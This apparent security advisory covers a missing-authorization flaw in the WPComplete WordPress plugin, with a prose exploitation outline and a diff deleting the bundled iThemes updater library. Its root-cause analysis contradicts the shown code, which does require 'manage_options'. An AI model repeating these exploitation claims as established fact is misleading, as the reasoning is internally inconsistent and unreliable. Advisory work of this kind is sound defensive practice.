Published : July 4, 2026

CVE-2026-57661: WPComplete <= 2.9.5.5 Missing Authorization PoC, Patch Analysis & Rule

Plugin wpcomplete
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 2.9.5.5
Patched Version 2.9.5.6
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57661:

This vulnerability involves the complete removal of the iThemes updater library (lib/updater/) from the WPComplete plugin. The affected files include admin.php, api.php, class-ithemes-credentials.php, functions.php, information.php, and init.php, among others. The severity is medium (CVSS 4.3) as it concerns missing authorization checks in the licensing and update components, potentially allowing authenticated subscribers to interact with iThemes licensing endpoints without proper capability validation.

Root cause:
The vulnerable code in wpcomplete/lib/updater/admin.php registered admin pages and action/filter hooks without adequate capability checks. The add_admin_pages() method (lines 156-158) used add_options_page() with ‘manage_options’ capability, but the class constructor (lines 30-47) registered hooks like add_action(‘admin_menu’, …) that only checked is_super_admin() for multisite but not for single-site installations. The admin.php constructor allowed any authenticated user on a non-multisite installation to trigger admin_menu hooks, while the add_network_admin_pages() method (lines 160-162) used ‘manage_options’ but was registered unconditionally. The api.php file exposed static methods like activate_package and deactivate_package (lines 23-28) without any capability checks, relying solely on the WordPress admin context. The init.php file (not fully shown but included in the deleted library) bootstrapped the updater without verifying user permissions.

Exploitation method:
An authenticated attacker with subscriber-level access can craft HTTP requests to the licensing admin page or AJAX endpoints that the iThemes updater exposes. By sending a POST request to /wp-admin/options-general.php?page=ithemes-licensing or directly calling WordPress AJAX actions that the updater registers (such as those for activating/deactivating licenses), the attacker can trigger the vulnerable functions. The attack vector uses standard WordPress admin URLs and POST parameters that the updater components expect, without the attacker needing to provide a valid nonce or capability token. The attacker would need to be logged in with any WordPress account (subscriber or above) and access the licensing page or submit form data to the updater’s handlers.

Patch analysis:
The fix removes the entire lib/updater/ directory (2,400+ lines of code) from the WPComplete plugin. This is a complete removal rather than a targeted fix. By deleting all iThemes updater files (admin.php, api.php, class-ithemes-credentials.php, functions.php, information.php, init.php, keys.php, packages.php, server.php, settings-page.php, settings.php, updates.php), the plugin eliminates the attack surface entirely. Before the patch, any authenticated user could access the updater’s admin pages and API endpoints. After the patch, the updater functionality no longer exists in the plugin, so there is no vulnerable code to exploit.

Impact:
Successful exploitation allows an authenticated subscriber to access the iThemes licensing management interface and potentially interact with license activation/deactivation endpoints. This could lead to unauthorized license management, including deactivating licenses for paid features or viewing license key information. The impact is limited to authenticated users with any role, but it affects the confidentiality and integrity of licensing operations. The CVSS score of 4.3 reflects the medium severity due to the authentication requirement but the ability for low-privilege users to perform unauthorized actions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpcomplete/lib/updater/admin.php
+++ b/wpcomplete/lib/updater/admin.php
@@ -1,252 +0,0 @@
-<?php
-
-/*
-Set up admin interface elements.
-Written by Chris Jean for iThemes.com
-Version 1.2.2
-
-Version History
-	1.0.0 - 2013-09-19 - Chris Jean
-		Split off from the old Ithemes_Updater_Init class.
-	1.1.0 - 2013-10-02 - Chris Jean
-		Added support for themes through the filter_plugins_api function (since themes don't have a "View version *** details" feature.
-	1.2.0 - 2013-10-23 - Chris Jean
-		Changed how the licensing page is registered for multisite. It now will only load on multisite sites if the user is a super user (network admin).
-		Removed the code that handled the setting to show or hide the licensing page on multisite sites.
-	1.2.1 - 2013-10-25 - Chris Jean
-		Added "License" links to Network Admin Plugins and Themes pages.
-	1.2.2 - 2014-10-23 - Chris Jean
-		Updated code formating to WordPress coding standards.
-*/
-
-
-class Ithemes_Updater_Admin {
-	private $page_name = 'ithemes-licensing';
-
-	private $package_details = false;
-	private $registration_link = false;
-
-	private $page_ref;
-
-
-	public function __construct() {
-		require_once( $GLOBALS['ithemes_updater_path'] . '/settings.php' );
-
-		if ( ! is_multisite() || is_super_admin() ) {
-			add_action( 'admin_menu', array( $this, 'add_admin_pages' ) );
-		}
-
-		add_action( 'network_admin_menu', array( $this, 'add_network_admin_pages' ) );
-
-		add_action( 'admin_head-plugins.php', array( $this, 'show_activation_message' ) );
-		add_action( 'admin_head-themes.php', array( $this, 'show_activation_message' ) );
-		add_action( 'deactivated_plugin', array( $this, 'clear_activation_package' ) );
-
-		add_filter( 'upgrader_pre_install', array( $this, 'filter_upgrader_pre_install' ) );
-		add_filter( 'upgrader_post_install', array( $this, 'filter_upgrader_post_install' ), 10, 3 );
-		add_filter( 'plugins_api', array( $this, 'filter_plugins_api' ), 10, 3 );
-
-		if ( ! is_multisite() || is_super_admin() ) {
-			add_filter( 'plugin_action_links', array( $this, 'filter_plugin_action_links' ), 10, 4 );
-			add_filter( 'theme_action_links', array( $this, 'filter_theme_action_links' ), 10, 2 );
-		}
-
-		add_filter( 'network_admin_plugin_action_links', array( $this, 'filter_plugin_action_links' ), 10, 4 );
-		add_filter( 'network_admin_theme_action_links', array( $this, 'filter_theme_action_links' ), 10, 2 );
-	}
-
-	public function filter_plugins_api( $value, $action, $args ) {
-		$options = $GLOBALS['ithemes-updater-settings']->get_options();
-
-		if ( ! isset( $args->slug ) ) {
-			return $value;
-		}
-
-		foreach ( (array) $options['update_plugins'] as $path => $data ) {
-			if ( $data->slug == $args->slug ) {
-				require_once( $GLOBALS['ithemes_updater_path'] . '/information.php' );
-				return Ithemes_Updater_Information::get_plugin_information( $path );
-			}
-		}
-
-		foreach ( (array) $options['update_themes'] as $path => $data ) {
-			if ( $path == $args->slug ) {
-				require_once( $GLOBALS['ithemes_updater_path'] . '/information.php' );
-				return Ithemes_Updater_Information::get_theme_information( $path );
-			}
-		}
-
-
-		$dir = WP_PLUGIN_DIR . '/' . $args->slug;
-		$dh = @opendir( $dir );
-
-		if ( ! $dh ) {
-			return $value;
-		}
-
-		while ( false !== ( $file = readdir( $dh ) ) ) {
-			if ( ! is_file( "$dir/$file" ) ) {
-				continue;
-			}
-
-			if ( '.php' !== substr( $file, -4 ) ) {
-				continue;
-			}
-
-			$plugin_data = get_plugin_data( "$dir/$file", false, false );
-
-			if ( ! empty ( $plugin_data['Name'] ) ) {
-				$plugin_file = basename( $file );
-			}
-		}
-
-		closedir( $dh );
-
-		if ( empty( $plugin_file ) ) {
-			return $value;
-		}
-
-		require_once( $GLOBALS['ithemes_updater_path'] . '/information.php' );
-		$information = Ithemes_Updater_Information::get_plugin_information( "{$args->slug}/$plugin_file" );
-
-		if ( false !== $information ) {
-			return $information;
-		}
-
-		return $value;
-	}
-
-	public function filter_upgrader_pre_install( $value ) {
-		$this->set_package_details();
-
-		return $value;
-	}
-
-	public function filter_upgrader_post_install( $value, $hook_extra, $result ) {
-		$options = $GLOBALS['ithemes-updater-settings']->queue_flush();
-
-		return $value;
-	}
-
-	public function clear_activation_package( $deactivated_path ) {
-		$packages = $GLOBALS['ithemes-updater-settings']->get_packages();
-		$options = $GLOBALS['ithemes-updater-settings']->get_options();
-
-		$deactivated_path = WP_PLUGIN_DIR . "/$deactivated_path";
-
-		foreach ( $packages as $package => $paths ) {
-			if ( ! in_array( $deactivated_path, $paths ) || ( count( $paths ) > 1 ) ) {
-				continue;
-			}
-
-			$index = array_search( $package, $options['packages'] );
-
-			if ( false === $index ) {
-				return;
-			}
-
-			unset( $options['packages'][$index] );
-			$GLOBALS['ithemes-updater-settings']->update_options( $options );
-
-			return;
-		}
-	}
-
-	public function show_activation_message() {
-		$new_packages = $GLOBALS['ithemes-updater-settings']->get_new_packages();
-
-		if ( empty( $new_packages ) ) {
-			return;
-		}
-
-
-		natcasesort( $new_packages );
-		require_once( $GLOBALS['ithemes_updater_path'] . '/functions.php' );
-		$names = array();
-
-		foreach ( $new_packages as $package ) {
-			$names = Ithemes_Updater_Functions::get_package_name( $package );
-		}
-
-		if ( is_multisite() && is_network_admin() ) {
-			$url = network_admin_url( 'settings.php' ) . "?page={$this->page_name}";
-		} else {
-			$url = admin_url( 'options-general.php' ) . "?page={$this->page_name}";
-		}
-
-		echo '<div class="updated fade"><p>' . wp_sprintf( __( 'To receive automatic updates for %l, use the <a href="%s">iThemes Licensing</a> page found in the Settings menu.', 'LION' ), $names, $url ) . '</p></div>';
-
-
-		$GLOBALS['ithemes-updater-settings']->update_packages();
-	}
-
-	public function add_admin_pages() {
-		$this->page_ref = add_options_page( __( 'iThemes Licensing', 'LION' ), __( 'iThemes Licensing', 'LION' ), 'manage_options', $this->page_name, array( $this, 'settings_index' ) );
-
-		add_action( "load-{$this->page_ref}", array( $this, 'load_settings_page' ) );
-	}
-
-	public function add_network_admin_pages() {
-		$this->page_ref = add_submenu_page( 'settings.php', __( 'iThemes Licensing', 'LION' ), __( 'iThemes Licensing', 'LION' ), 'manage_options', $this->page_name, array( $this, 'settings_index' ) );
-
-		add_action( "load-{$this->page_ref}", array( $this, 'load_settings_page' ) );
-	}
-
-	public function load_settings_page() {
-		require( $GLOBALS['ithemes_updater_path'] . '/settings-page.php' );
-	}
-
-	public function settings_index() {
-		do_action( 'ithemes_updater_settings_page_index' );
-	}
-
-	private function set_package_details() {
-		if ( false !== $this->package_details ) {
-			return;
-		}
-
-		require_once( $GLOBALS['ithemes_updater_path'] . '/packages.php' );
-		$this->package_details = Ithemes_Updater_Packages::get_local_details();
-	}
-
-	private function set_registration_link() {
-		if ( false !== $this->registration_link ) {
-			return;
-		}
-
-		$url = admin_url( 'options-general.php' ) . "?page={$this->page_name}";
-		$this->registration_link = sprintf( '<a href="%1$s" title="%2$s">%3$s</a>', $url, __( 'Manage iThemes product licenses to receive automatic upgrade support', 'LION' ), __( 'License', 'LION' ) );
-	}
-
-	public function filter_plugin_action_links( $actions, $plugin_file, $plugin_data, $context ) {
-		$this->set_package_details();
-		$this->set_registration_link();
-
-		if ( isset( $this->package_details[$plugin_file] ) && is_array( $actions ) ) {
-			$actions[] = $this->registration_link;
-		}
-
-		return $actions;
-	}
-
-	public function filter_theme_action_links( $actions, $theme ) {
-		$this->set_package_details();
-		$this->set_registration_link();
-
-		if ( is_object( $theme ) ) {
-			$path = basename( $theme->get_stylesheet_directory() ) . '/style.css';
-		} else if ( is_array( $theme ) && isset( $theme['Stylesheet Dir'] ) ) {
-			$path = $theme['Stylesheet Dir'] . '/style.css';
-		} else {
-			$path = '';
-		}
-
-		if ( isset( $this->package_details[$path] ) && is_array( $actions ) ) {
-			$actions[] = $this->registration_link;
-		}
-
-		return $actions;
-	}
-}
-
-new Ithemes_Updater_Admin();
--- a/wpcomplete/lib/updater/api.php
+++ b/wpcomplete/lib/updater/api.php
@@ -1,351 +0,0 @@
-<?php
-
-/*
-Provides an easy to use interface for communicating with the iThemes updater server.
-Written by Chris Jean for iThemes.com
-Version 1.1.1
-
-Version History
-	1.0.0 - 2013-04-11 - Chris Jean
-		Release ready
-	1.0.1 - 2013-09-19 - Chris Jean
-		Updated requires to not use dirname().
-		Updated ithemes-updater-object to ithemes-updater-settings.
-	1.1.0 - 2013-10-02 - Chris Jean
-		Added get_package_changelog().
-	1.1.1 - 2014-11-13 - Chris Jean
-		Improved caching.
-		Updated code to meet WordPress coding standards.
-*/
-
-
-class Ithemes_Updater_API {
-	public static function activate_package( $username, $password, $packages ) {
-		return self::get_response( 'activate_package', compact( 'username', 'password', 'packages' ), false );
-	}
-
-	public static function deactivate_package( $username, $password, $packages ) {
-		return self::get_response( 'deactivate_package', compact( 'username', 'password', 'packages' ), false );
-	}
-
-	public static function get_licensed_site_url() {
-		$packages = array();
-
-		return self::get_response( 'get_licensed_site_url', compact( 'packages' ), false );
-	}
-
-	public static function set_licensed_site_url( $username, $password, $site_url ) {
-		$packages = array();
-
-		return self::get_response( 'set_licensed_site_url', compact( 'username', 'password', 'site_url', 'packages' ), false );
-	}
-
-	public static function get_package_details( $cache = true ) {
-		$packages = array();
-
-		return self::get_response( 'get_package_details', compact( 'packages' ), $cache );
-	}
-
-	public static function get_package_changelog( $package, $cur_version = false ) {
-		$response = wp_remote_get( 'https://api.ithemes.com/product/changelog?package=' . urlencode( $package ) );
-
-		if ( is_wp_error( $response ) && ( 'connect() timed out!' != $response->get_error_message() ) && defined( 'ITHEMES_ALLOW_HTTP_FALLBACK' ) && ITHEMES_ALLOW_HTTP_FALLBACK ) {
-			$response = wp_remote_get( 'http://api.ithemes.com/product/changelog?package=' . urlencode( $package ) );
-		}
-
-		if ( is_wp_error( $response ) ) {
-			return $response;
-		}
-
-		if ( ! isset( $response['body'] ) ) {
-			return new WP_Error( 'ithemes-updater-changelog-bad-wp-remote-get-response', __( 'Unrecognized response from <code>wp_remote_get</code>.', 'LION' ) );
-		}
-
-		if ( isset( $response['response']['code'] ) && ( '200' != $response['response']['code'] ) ) {
-			return new WP_Error( 'ithemes-updater-wp-remote-get-error-' . $response['response']['code'], $response['response']['message'] );
-		}
-
-
-		$body = $response['body'];
-
-		if ( '{' === substr( $body, 0, 1 ) ) {
-			$error = json_decode( $body, true );
-
-			if ( is_array( $error ) && isset( $error['error'] ) && is_array( $error['error'] ) && isset( $error['error']['type'] ) && isset( $error['error']['message'] ) ) {
-				return new WP_Error( 'ithemes-updater-json-decode-error-' . $error['error']['type'], $error['error']['message'] );
-			} else {
-				return new WP_Error( 'ithemes-updater-changelog-bad-json-decode-result', __( 'Unrecognized response from iThemes API server.', 'LION' ) );
-			}
-		}
-
-
-		$versions = array();
-		$version = false;
-		$depth = 0;
-
-		$lines = preg_split( '/[nr]+/', $body );
-
-		foreach ( $lines as $line ) {
-			if ( preg_match( '/^d/', $line ) ) {
-				if ( ! empty( $version ) && ( $depth > 0 ) ) {
-					while ( $depth-- > 0 ) {
-						$versions[$version] .= "</ul>n";
-					}
-				}
-
-				$depth = 0;
-
-				$parts = preg_split( '/s+-s+/', $line );
-				$version = $parts[0];
-
-				if ( version_compare( $version, $cur_version, '<=' ) ) {
-					$version = '';
-					continue;
-				}
-
-				$versions[$version] = '';
-
-				continue;
-			} else if ( preg_match( '/^S/', $line ) ) {
-				$version = '';
-				continue;
-			} else if ( empty( $version ) ) {
-				continue;
-			}
-
-			$line = str_replace( '    ', "t", $line );
-			$line = str_replace( "t", '', $line, $count );
-			$line = preg_replace( '/^s+/', '', $line );
-
-			if ( empty( $line ) ) {
-				continue;
-			}
-
-			$details = '';
-
-			if ( $count > $depth ) {
-				$details .= "<ul>n";
-				$depth++;
-			} else if ( $count < $depth ) {
-				$details .= "</ul>n";
-				$depth--;
-			}
-
-			$details .= "<li>$line</li>n";
-
-
-			$versions[$version] .= $details;
-		}
-
-		if ( ! empty( $version ) && ( $depth > 0 ) ) {
-			while ( $depth-- > 0 ) {
-				$versions[$version] .= "</ul>n";
-			}
-		}
-
-
-		uksort( $versions, 'version_compare' );
-		$versions = array_reverse( $versions );
-
-
-		$changelog = '';
-
-		foreach ( $versions as $version => $details ) {
-			$changelog .= "<h4>$version</h4>n$detailsn";
-		}
-
-		$changelog = preg_replace( '/s+$/', '', $changelog );
-
-
-		return $changelog;
-	}
-
-	public static function get_response( $action, $args, $cache ) {
-		require_once( $GLOBALS['ithemes_updater_path'] . '/server.php' );
-		require_once( $GLOBALS['ithemes_updater_path'] . '/updates.php' );
-
-
-		if ( isset( $args['packages'] ) ) {
-			$args['packages'] = self::get_request_package_details( $args['packages'] );
-		}
-
-
-		$response = false;
-		$source = '';
-		$cached = true;
-
-		$md5 = substr( md5( serialize( $args ) ), 0, 5 );
-		$time = time();
-		$cache_var = "it-updater-$action-$md5";
-
-
-		if ( $cache ) {
-			if ( isset( $GLOBALS[$cache_var] ) ) {
-				$response = $GLOBALS[$cache_var];
-				$source = 'GLOBALS';
-			} else if ( false !== ( $transient = get_site_transient( $cache_var ) ) ) {
-				$response = $transient;
-				$source = 'transient';
-			}
-		}
-
-
-		if ( false === $response ) {
-			$response = call_user_func_array( array( 'Ithemes_Updater_Server', $action ), $args );
-			$source = 'server';
-
-			if ( is_wp_error( $response ) ) {
-				return $response;
-			}
-
-			$cache_length = 86400 * $GLOBALS['ithemes-updater-settings']->get_option( 'timeout-multiplier' );
-
-			set_site_transient( $cache_var, $response, $cache_length );
-
-			$cached = false;
-		}
-
-
-		Ithemes_Updater_Updates::process_server_response( $response, $cached );
-
-		$GLOBALS[$cache_var] = $response;
-
-		return $response;
-	}
-
-	private static function get_request_package_details( $desired_packages = array() ) {
-		require_once( $GLOBALS['ithemes_updater_path'] . '/packages.php' );
-		require_once( $GLOBALS['ithemes_updater_path'] . '/keys.php' );
-
-
-		$all_packages = Ithemes_Updater_Packages::get_local_details();
-		reset( $desired_packages );
-
-		if ( empty( $desired_packages ) ) {
-			$desired_packages = $all_packages;
-		} else if ( is_numeric( key( $desired_packages ) ) ) {
-			$new_desired_packages = array();
-
-			foreach ( $all_packages as $path => $details ) {
-				foreach ( $desired_packages as $package ) {
-					if ( $package != $details['package'] ) {
-						continue;
-					}
-
-					$new_desired_packages[$path] = $details;
-
-					break;
-				}
-			}
-
-			$desired_packages = $new_desired_packages;
-		}
-
-
-		$packages = array();
-		$keys = Ithemes_Updater_Keys::get();
-
-
-		$package_slugs = array();
-
-		foreach ( $desired_packages as $data ) {
-			$package_slugs[] = $data['package'];
-		}
-
-		$legacy_keys = Ithemes_Updater_Keys::get_legacy( $package_slugs );
-
-
-		$active_themes = array(
-			'stylesheet' => get_stylesheet_directory(),
-			'template'   => get_template_directory(),
-		);
-		$active_themes = array_unique( $active_themes );
-
-		foreach ( $active_themes as $index => $path ) {
-			$active_themes[$index] = basename( $path );
-		}
-
-
-		foreach ( $desired_packages as $path => $data ) {
-			$key = ( isset( $keys[$data['package']] ) ) ? $keys[$data['package']] : '';
-
-			$package = array(
-				'ver' => $data['installed'],
-				'key' => $key,
-			);
-
-			if ( ! empty( $legacy_keys[$data['package']] ) ) {
-				$package['old-key'] = $legacy_keys[$data['package']];
-			}
-
-
-			if ( 'plugins' == $data['type'] ) {
-				$package['active'] = (int) is_plugin_active( $path );
-			} else {
-				$dir = dirname( $path );
-
-				$package['active'] = (int) in_array( $dir, $active_themes );
-
-				if ( $package['active'] && ( count( $active_themes ) > 1 ) ) {
-					if ( $dir == $active_themes['stylesheet'] ) {
-						$package['child-theme'] = 1;
-					} else {
-						$package['parent-theme'] = 1;
-					}
-				}
-			}
-
-
-			$package_key = $data['package'];
-			$counter = 0;
-
-			while ( isset( $packages[$package_key] ) ) {
-				$package_key = "{$data['package']} ||| " . ++$counter;
-			}
-
-			$packages[$package_key] = $package;
-		}
-
-
-		if ( ! empty( $legacy_keys ) ) {
-			Ithemes_Updater_Keys::delete_legacy( array_keys( $legacy_keys ) );
-		}
-
-
-		return $packages;
-	}
-
-	public static function get_error_explanation( $error, $package = '' ) {
-		$code = $error->get_error_code();
-		$package_name = Ithemes_Updater_Functions::get_package_name( $package );
-		$message = '';
-
-		switch( $code ) {
-			case 'ITXAPI_Updater_Bad_Login':
-				$message = __( 'Incorrect password. Please make sure that you are supplying your iThemes membership username and password details.', 'LION' );
-				break;
-			case 'ITXAPI_Updater_Username_Unknown':
-			case 'ITXAPI_Updater_Username_Invalid':
-				$message = __( 'Invalid username. Please make sure that you are supplying your iThemes membership username and password details.', 'LION' );
-				break;
-			case 'ITXAPI_Product_Package_Unknown':
-				$message = sprintf( __( 'The licensing server reports that the %1$s (%2$s) product is unknown. Please contact support for assistance.', 'LION' ), $package_name, $package );
-				break;
-			case 'ITXAPI_Updater_Too_Many_Sites':
-				$message = sprintf( __( '%1$s could not be licensed since the membership account is out of available licenses for this product. You can unlicense the product on other sites or upgrade your membership to one with a higher number of licenses in order to increase the amount of available licenses.', 'LION' ), $package_name );
-				break;
-			case 'ITXAPI_License_Key_Generate_Failed':
-				$message = sprintf( __( '%s could not be licensed due to an internal error. Please try to license %s again at a later time. If this problem continues, please contact iThemes support.', 'LION' ), $package_name );
-				break;
-		}
-
-		if ( empty( $message ) ) {
-			if ( ! empty( $package ) )
-				$message = sprintf( __( 'An unknown error relating to the %1$s product occurred. Please contact iThemes support. Error details: %2$s', 'LION' ), $package_name, $error->get_error_message() . " ($code)" );
-			else
-				$message = sprintf( __( 'An unknown error occurred. Please contact iThemes support. Error details: %s', 'LION' ), $error->get_error_message() . " ($code)" );
-		}
-
-		return $message;
-	}
-}
--- a/wpcomplete/lib/updater/class-ithemes-credentials.php
+++ b/wpcomplete/lib/updater/class-ithemes-credentials.php
@@ -1,143 +0,0 @@
-<?php
-
-    //-----------------------------------------------------------------------------
-
-    class iThemes_Credentials
-    {
-
-        //-----------------------------------------------------------------------------
-
-        protected $hash             = 'sha256';
-
-        protected $salt_padding     = 'wdHVwU&HcYcWnllo%kTUUnxpScy4%ICM29';
-
-        protected $iteration_count  = 131072;
-
-        protected $key_length       = 64;
-
-        protected $password;
-
-        //-----------------------------------------------------------------------------
-
-        public function __construct($username, $password, $options = array())
-        {
-
-            $this->username = $username;
-
-            $this->password = $password;
-
-
-            if(!empty($options['hash']))
-                $this->hash             = strtolower(trim($options['hash']));
-
-            if(!empty($options['iterations']))
-                $this->iteration_count  = intval($options['iterations']);
-
-            if(!empty($options['salt']))
-                $this->salt_padding     = $options['salt'];
-
-            if(!empty($options['key_length']))
-                $this->key_length       = intval($options['key_length']);
-
-        }
-
-        //-----------------------------------------------------------------------------
-
-        public static function get_password_hash($username, $password, $options = array())
-        {
-
-            $hasher = new iThemes_Credentials($username, $password, $options);
-
-            return $hasher->get_pbkdf2();
-
-        }
-
-        //-----------------------------------------------------------------------------
-
-        public function get_salt()
-        {
-
-            return strtolower(trim($this->username)) . $this->salt_padding;
-
-        }
-
-        //-----------------------------------------------------------------------------
-
-        public function get_pbkdf2()
-        {
-
-            return $this->pbkdf2($this->hash,
-                                 $this->password,
-                                 $this->get_salt(),
-                                 $this->iteration_count,
-                                 $this->key_length / 2,
-                                 false);
-
-        }
-
-        //-----------------------------------------------------------------------------
-
-        /*
-         * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
-         * $algorithm - The hash algorithm to use. Recommended: SHA256
-         * $password - The password.
-         * $salt - A salt that is unique to the password.
-         * $count - Iteration count. Higher is better, but slower. Recommended: At least 1000.
-         * $key_length - The length of the derived key in bytes.
-         * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise.
-         * Returns: A $key_length-byte key derived from the password and salt.
-         *
-         * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
-         *
-         * This implementation of PBKDF2 was originally created by https://defuse.ca
-         * With improvements by http://www.variations-of-shadow.com
-         */
-        private function pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false)
-        {
-
-            $algorithm = strtolower($algorithm);
-
-            if(!in_array($algorithm, hash_algos(), true))
-                trigger_error('PBKDF2 ERROR: Invalid hash algorithm.', E_USER_ERROR);
-
-            if($count <= 0 || $key_length <= 0)
-                trigger_error('PBKDF2 ERROR: Invalid parameters.', E_USER_ERROR);
-
-
-            $hash_length = strlen(hash($algorithm, '', true));
-            $block_count = ceil($key_length / $hash_length);
-
-            $output = '';
-
-            for($i = 1; $i <= $block_count; $i++)
-            {
-
-                // $i encoded as 4 bytes, big endian.
-                $last = $salt . pack("N", $i);
-
-                // first iteration
-                $last = $xorsum = hash_hmac($algorithm, $last, $password, true);
-
-                // perform the other $count - 1 iterations
-                for ($j = 1; $j < $count; $j++)
-                {
-                    $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true));
-                }
-
-                $output .= $xorsum;
-
-            }
-
-            if($raw_output)
-                return substr($output, 0, $key_length);
-            else
-                return bin2hex(substr($output, 0, $key_length));
-
-        }
-
-        //-----------------------------------------------------------------------------
-
-    }
-
-    //-----------------------------------------------------------------------------
-
 No newline at end of file
--- a/wpcomplete/lib/updater/functions.php
+++ b/wpcomplete/lib/updater/functions.php
@@ -1,113 +0,0 @@
-<?php
-
-/*
-Misc functions to assist the updater code.
-Written by Chris Jean for iThemes.com
-Version 1.0.0
-
-Version History
-	1.0.0 - 2013-04-11 - Chris Jean
-		Release ready
-*/
-
-
-class Ithemes_Updater_Functions {
-	public static function get_url( $path ) {
-		$path = str_replace( '\', '/', $path );
-		$wp_content_dir = str_replace( '\', '/', WP_CONTENT_DIR );
-
-		if ( 0 === strpos( $path, $wp_content_dir ) )
-			return content_url( str_replace( $wp_content_dir, '', $path ) );
-
-		$abspath = str_replace( '\', '/', ABSPATH );
-
-		if ( 0 === strpos( $path, $abspath ) )
-			return site_url( str_replace( $abspath, '', $path ) );
-
-		$wp_plugin_dir = str_replace( '\', '/', WP_PLUGIN_DIR );
-		$wpmu_plugin_dir = str_replace( '\', '/', WPMU_PLUGIN_DIR );
-
-		if ( 0 === strpos( $path, $wp_plugin_dir ) || 0 === strpos( $path, $wpmu_plugin_dir ) )
-			return plugins_url( basename( $path ), $path );
-
-		return false;
-	}
-
-	public static function get_package_name( $package ) {
-		$name = str_replace( 'builderchild', 'Builder Child', $package );
-		$name = str_replace( '-', ' ', $name );
-		$name = ucwords( $name );
-		$name = str_replace( 'buddy', 'Buddy', $name );
-		$name = str_replace( 'Ithemes', 'iThemes', $name );
-		$name = str_replace( 'Rcp ', 'RCP ', $name );
-		$name = str_replace( ' Qr ', ' QR ', $name );
-		$name = str_replace( 'Itsec ', 'ITSEC ', $name );
-		$name = str_replace( 'Wpcomplete', 'WPComplete', $name );
-		$name = str_replace( 'Pmpro ', 'PMPro ', $name );
-		$name = str_replace( 'Restrict Content Pro Buddypress', 'Restrict Content Pro - Buddypress', $name );
-
-		return $name;
-	}
-
-	public static function get_post_data( $vars, $fill_missing = false ) {
-		$data = array();
-
-		foreach ( $vars as $var ) {
-			if ( isset( $_POST[$var] ) ) {
-				$clean_var = preg_replace( '/^it-updater-/', '', $var );
-				$data[$clean_var] = $_POST[$var];
-			}
-			else if ( $fill_missing ) {
-				$data[$var] = '';
-			}
-		}
-
-		return stripslashes_deep( $data );
-	}
-
-	public static function get_site_option( $option ) {
-		global $wpdb;
-
-		$options = get_site_option( $option, false );
-
-		if ( is_array( $options ) ) {
-			return $options;
-		}
-
-		// Attempt to get the stored option manually to ensure that the failure wasn't due to a DB or other glitch.
-
-		if ( is_multisite() ) {
-			$network_id = get_current_network_id();
-			$query = $wpdb->prepare( "SELECT meta_value FROM $wpdb->sitemeta WHERE meta_key = %s AND site_id = %d LIMIT 1", $option, $network_id );
-			$index = 'meta_value';
-		} else {
-			$query = $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option );
-			$index = 'option_value';
-		}
-
-		$result = $wpdb->query( $query );
-
-		if ( false === $result ) {
-			// Something went wrong with the DB.
-			return false;
-		}
-
-		if ( empty( $wpdb->last_result[0] ) || empty( $wpdb->last_result[0]->$index ) ) {
-			// The value has not been set yet, return the default value.
-			return null;
-		}
-
-		$value = $wpdb->last_result[0]->$index;
-
-		$options = @unserialize( $value );
-
-		if ( is_array( $options ) ) {
-			return $options;
-		}
-
-		// Seems that we have some bad data.
-		// TODO: Attempt data restoration.
-
-		return null;
-	}
-}
--- a/wpcomplete/lib/updater/information.php
+++ b/wpcomplete/lib/updater/information.php
@@ -1,61 +0,0 @@
-<?php
-
-/*
-Provides details formatted for use in "View version *** details" boxes.
-Written by Chris Jean for iThemes.com
-Version 1.1.1
-
-Version History
-	1.0.0 - 2013-04-11 - Chris Jean
-		Release ready
-	1.0.1 - 2013-09-19 - Chris Jean
-		Updated requires to not use dirname().
-	1.1.0 - 2013-10-02 - Chris Jean
-		Added get_theme_information().
-	1.1.1 - 2013-12-18 - Chris Jean
-		Removed unneeded code that checked package-info.ithemes.com.
-*/
-
-
-class Ithemes_Updater_Information {
-	public static function get_theme_information( $path ) {
-		return self::get_plugin_information( "$path/style.css" );
-	}
-
-	public static function get_plugin_information( $path ) {
-		require_once( $GLOBALS['ithemes_updater_path'] . '/packages.php' );
-		$details = Ithemes_Updater_Packages::get_full_details();
-
-		if ( ! isset( $details['packages'][$path] ) )
-			return false;
-
-
-		$package = $details['packages'][$path];
-
-		require_once( $GLOBALS['ithemes_updater_path'] . '/functions.php' );
-		require_once( $GLOBALS['ithemes_updater_path'] . '/information.php' );
-
-		$changelog = Ithemes_Updater_API::get_package_changelog( $package['package'], $details['packages'][$path]['installed'] );
-
-		if ( is_wp_error( $changelog ) ) {
-			/* translators: 1. Error message, 2. Error code */
-			$changelog = sprintf( __( '<p>Unable to get changelog data at this time.</p><p>%1$s (%2$s)</p>', 'LION' ), $changelog->get_error_message(), $changelog->get_error_code() );
-		}
-
-
-		$info = array(
-			'name'          => Ithemes_Updater_Functions::get_package_name( $package['package'] ),
-			'slug'          => dirname( $path ),
-			'version'       => $package['available'],
-			'author'        => '<a href="https://ithemes.com/">iThemes</a>',
-			'download_link' => $package['package-url'],
-
-			'sections' => array(
-				'changelog'    => $changelog,
-			),
-		);
-
-
-		return (object) $info;
-	}
-}
--- a/wpcomplete/lib/updater/init.php
+++ b/wpcomplete/lib/updater/init.php
@@ -1,102 +0,0 @@
-<?php
-
-/*
-Load the updater and licensing system without loading unneeded parts.
-Written by Chris Jean for iThemes.com
-Version 1.2.1
-
-Version History
-	1.0.0 - 2013-04-11 - Chris Jean
-		Release ready
-	1.0.1 - 2013-05-01 - Chris Jean
-		Fixed a bug where some plugins caused the filter_update_plugins and filter_update_themes to run when load hadn't run, causing errors.
-	1.1.0 - 2013-09-19 - Chris Jean
-		Complete restructuring of this file as most of the code has been relocated to other files.
-	1.2.0 - 2013-12-13 - Chris Jean
-		Added the ability to force clear the server timeout hold by adding a query variable named ithemes-updater-force-clear-server-timeout-hold to the URL.
-	1.2.1 - 2014-10-23 - Chris Jean
-		Removed ithemes-updater-force-clear-server-timeout-hold code.
-*/
-
-
-if ( defined( 'WP_CLI' ) && WP_CLI && class_exists( 'WP_CLI_Command' ) && ! class_exists( 'Ithemes_Updater_WP_CLI_Ithemes_Licensing' ) ) {
